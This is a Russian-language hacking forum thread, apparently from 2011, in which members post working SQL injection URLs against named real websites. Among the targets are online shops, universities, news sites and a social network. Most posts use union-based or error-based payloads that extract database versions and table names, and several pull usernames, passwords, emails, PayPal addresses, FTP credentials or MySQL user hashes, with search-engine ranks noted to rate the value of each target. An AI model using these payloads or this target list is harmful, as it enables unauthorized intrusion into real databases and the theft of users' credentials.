SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. foozzi

    foozzi Member

    Joined:
    13 Apr 2010
    Messages:
    195
    Likes Received:
    12
    Reputations:
    5
    http://www.vize.cz/en/news.php?id=-348+union+select+1,2,3,4,5,version%28%29+--+


    Вывод в тайтле
    http://www.deafmissions.org/?PageID=-16+union+select+1,2,3,4,5,6,7,8,9,10,11,version%28%29+--+
     
    #13981 foozzi, 5 Jul 2011
    Last edited: 5 Jul 2011
  2. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    http://apps.facebook.com/sondaggi-fanpage/vote.php?id=(0)union(select(1),version(),3,4,5,6,7,8,9)--+
    5.1.45-log
     
    _________________________
    9 people like this.
  3. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Code:
    http://www.webmobileshop.com/mobiledetails.php?mobileid=412+union+select+1,2,3,4,concat_ws(0x3a,username,password,email),6,7,8,9+from+alumni_admins+--+
    PR 2
    Code:
    http://www.freshex.at/webshop/webshop.php?product_group=-4+union+select+version()+--+
    PR 2
    5.0.51a-24+lenny5
     
    #13983 GroM88, 7 Jul 2011
    Last edited: 7 Jul 2011
  4. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Code:
    http://www.mmorpg-servers.com/index.php?cat=RF+Online&qq=2.2.2'and(select/**/1/**/from(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)and'1'='1
    version: 5.0.92-community
    user: mmoserv_mmoserv
    database: mmoserv_mmoservers

    Вывод таблиц:
    Code:
    http://www.mmorpg-servers.com/index.php?cat=RF+Online&qq=2.2.2'and(select/**/1/**/from(select/**/count(*),concat((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema!='information_schema'/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)and'1'='1
     
    #13984 ZARO, 7 Jul 2011
    Last edited by a moderator: 7 Jul 2011
    3 people like this.
  5. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Интернет магазин книг.
    http://www.tech-books.purput.ru/newsdetail.shtml?idnews=21+and+1=0+union+select+user%28%29,database%28%29,version%28%29--
     
  6. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Code:
    http://www.bard.edu/academics/additional/additional_pop.php?id=204042-999999+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14--
    Тиц 90 Пр 7 , еду
     
  7. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Code:
    http://www.gs1.org/1/gtinrules/index.php/nid=1%20or%281,2%29=%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29
    '5.0.51a-24+lenny5-log'

    Тиц 90 Пр 7 ))))
     
  8. SENIA

    SENIA Elder - Старейшина

    Joined:
    22 Nov 2008
    Messages:
    478
    Likes Received:
    232
    Reputations:
    1
    http://www.mtucizone.ru/teacher/list.htm?id=-12+union+select+1,2,concat_ws(0x3a,name,password),4+from+mtucizone.ibf_members--
     
  9. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://www.thefump.com/artist.php?id=11%20%26%26%201%3D2%20UNION%20SELECT+1,2,3,4,concat_ws(0x3a,id,username,password,email,paypal_email),6,7,8,9,10,11,12,13,14,15,16+from+users%23

    расшифровывайте =)
     
  10. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    cannabisfunclub.com

    конопляный ресурс
    Code:
    http://www.cannabisfunclub.com/chtivo/?news=[COLOR=Red]-[/COLOR]215[COLOR=Red]+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14+--+[/COLOR]
    version: 5.0.51a-community
    database: mrc_db2
    user: mrc_db2@localhost
     
    2 people like this.
  11. edge911

    edge911 Active Member

    Joined:
    21 Feb 2009
    Messages:
    105
    Likes Received:
    142
    Reputations:
    15
    http://www.townoflakeshore.on.ca/lakeshore_1.php?page=-11(7 колонок)
    5.0.67:
    [email protected]:
    lakeshore_lakeshore:
    suse-linux-gnu

    PR 4

    http://www.lakeshore.ca/events.php?id=-722(5 колонок)
    5.0.67:
    [email protected]:
    lakeshore_lakeshore:
    suse-linux-gnu

    PR 4

    http://www.hawaii.edu/uhhbiology/index.php?page=person&id=-43(14 колонок)
    4.1.20-standard-log:
    [email protected]:
    uhhbiology_d:sun-solaris2.8

    PR 8

    http://www.mycrysis.com/forums/memberlist.php?mode=viewprofile&u=679708%27
    (ппц,phpbb 2007, mysqli(4.1++))
    PR5
     
    3 people like this.
  12. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://www.gilcentr-sk.ru/?id=-22+union+select+1,2,3,4,5,version(),7,8,9--


    http://busexplorer.com/PHP/FeaturePage.php?id=-22+union+select+1,group_concat(0x0b,table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables--


    http://www.taliman-nsk.ru/?page=goodslist&id=-22+union+select+1,group_concat(0x0b,table_name)+from+information_schema.tables--
     
    #13992 Bramin, 9 Jul 2011
    Last edited: 10 Jul 2011
    1 person likes this.
  13. totenkopf

    totenkopf Elder - Старейшина

    Joined:
    19 Jul 2010
    Messages:
    92
    Likes Received:
    64
    Reputations:
    19
    Code:
    http://www.dalsouple.com/News.php?nid=2+and+0+UNION+SELECT+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6+--+
    http://www.easyfresh-logistics.com/news.php?nid=2'+and+0+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6+--+
    http://www.globestravel.com/php/newsDetails.php?nid=2+and+0+UNION+SELECT+1,2,concat_ws(0x3a,user(),version(),database()),4+--+
    http://www.greatecs.com/en/news/details.php?nid=2+and+0+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8+--+
    http://www.midrma.com/News.php?nid=2+and+0+UNION+SELECT+1,2,concat_ws(0x3a,user(),version(),database()),4+--+
    http://www.molecularpartners.com/tmp2.php?nid=2&sid=5&cid=12+and+0+UNION+SELECT+1,2,3,4,5,concat_ws(0x3a,user(),version(),database()),7,8+--+
    http://www.music-powerhouse.com/news.php?nid=2'+and+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database())+--+
    http://www.pacificwestsound.com/news.php?nid=2+and+0+UNION+SELECT+concat_ws(0x3a,user(),version(),database())+--+
    http://www.pcgengr.com/news_detail.php?nid=2+and+0+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database())+--+
    http://www.pickcells4pixels.com/index.php?nID=2+and+0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user(),version(),database()),13,14+--+
    http://www.portmeirion-village.com/content.php?nID=2;lID=1+and+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4+--+
    
     
    1 person likes this.
  14. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    Немного жира. :)

    Московская торгово-промышленная палата. ТИЦ 1600 PR 5
    Code:
    http://www.mostpp[это не я].ru/news.php?id=-5805+union+select+concat_ws(0x3a,login,pass)+ from+users+limit+0,1
    Имеем инъекцию с выводом в сорце:
    Code:
    <a href=/news.php?typ=[COLOR=Green][вывод][/COLOR]><b>Вернуться к общему списку сообщений</b></a>
    и как подобает подобным сайтам, с паролями в plaintext. :)


    Ислам для всех. ТИЦ 850 PR 3
    Code:
    http://islam.com.[не, посоны - я не разжигаю]ua/admin/modules/articles/print.php?nid=-1+union+select+1,2,3,4,version(),database(),7,8,9,10,user(),12,13
    Имеем инъекцию в MySQL 4.1.25 с 3-мя принтабельными полями.


    И на закуску - Социальная сеть с over 275к акками на борту.
    Code:
    http://www.33hoch[посоны, я не при делах]u.ru/likes.php?id=-122604'+or+1+group+by+concat((select+login+from+user+limit+275000,1),floor(rand(0)*2))having+min(0)+or+1--+
    Имеем инъекцию с выводом в ошибке.
     
    6 people like this.
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    pr 3 тиц 60
    [email protected]:5.0.90-log:u58908

    pr 2 тиц 10
    [email protected]:5.0.90:b99856_nks24

    pr 3 тиц 70
    [email protected]:5.0.77-log:db_kovaldji_1

    pr 2
    lito@localhost:5.1.54-rel12.5-log:lito
     
    _________________________
    1 person likes this.
  16. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    www.zacks.com
    PR 7

    http://www.zacks.com/blog/archive.php?g=-6+union+select+1,2,version%28%29,4,5,6--+
     
    1 person likes this.
  17. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    pr 3, тиц 70
    Code:
    http://www.i-watch.ru/?section=7&sid=-3+union+select+1,2,3,version(),5,6,7--+
    5.0.51a-24+lenny4
    ___
    пр: 4, тиц: 30
    Code:
    http://www.watch.su/search_cat.php?word=&start=1a&end=20a&where=1)and(select 1 from(select count(*),concat((select version()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    5.0.33
     
    2 people like this.
  18. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Code:
    http://cluster2.space.swri.[COLOR=Green]edu[/COLOR]/article.php?id=-1+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8+from+mysql.user+--+
    PR 4
    Code:
    http://www.thalictrum.com/index.php?pageid=6&artid=-6+union+select+1,concat_ws(0x3a,id,username,password),3,4,5,6,7,8,9,10,11,12+from+user+--+
    4.1.20
    PR 4
    Code:
    http://www.gp.org/press/pr-state.php?ID=-416'+union+select+version(),2,3,4,5,6+--+
    5.0.45-log
    тиЦ 30
    PR 6
    Code:
    http://www.bdnews24.com/details.php?cid=10&id=-195068+union+select+1,2,concat_ws(0x3a,ftpurl,ftpuser,ftppass)+from+ftpsecure--
    Инфа выводится справа под блоком фейсбука ))
    5.0.45-log

    тИЦ 30
    PR 5

    Code:
    http://www.africasia.com/africanbanker/afbnk.php?ID=-2356+union+select+version(),2,3,4,5,6,7,8,9,10+--+
    5.0.84-log
    тИЦ 50
    PR 6


    Code:
    http://www.infovis.net/printMag.php?lang=2&num=-98+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13+--+
    5.0.67-Max
    тИЦ 10
    PR 5
     
    #13998 GroM88, 12 Jul 2011
    Last edited: 12 Jul 2011
    3 people like this.
  19. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Code:
    http://www.mysecret.tv/secret.php?id=3964+union+select+1,2,3,4,concat_ws(0x3a,user_id,username,password,email),6+from+user+--+
    5.0.58
    тИЦ 10
    PR 3

    Code:
    http://www.thisweekinpalestine.com/details.php?id=3323&ed=191&edid=-191+union+select+1,concat_ws(0x3a,id,username,email,password),3,4,5+from+members+limit+1,1+--+
    5.0.77
    тИЦ 10
    PR 5
     
    #13999 GroM88, 13 Jul 2011
    Last edited: 13 Jul 2011
    1 person likes this.
  20. Kuteke

    Kuteke Banned

    Joined:
    26 Jun 2010
    Messages:
    179
    Likes Received:
    26
    Reputations:
    6
    тИЦ 10 PR 1
    HTML:
    http://www.lz-studia.ru/index.php?p=111&idp=-4+union+select+1,2,version(),4
    тИЦ 10 PR 4
    HTML:
    http://www.hobbycenter.by/news.php?id=27+union+select+1,2,3,4,5,6--
     
    #14000 Kuteke, 16 Jul 2011
    Last edited: 16 Jul 2011
    1 person likes this.
Thread Status:
Not open for further replies.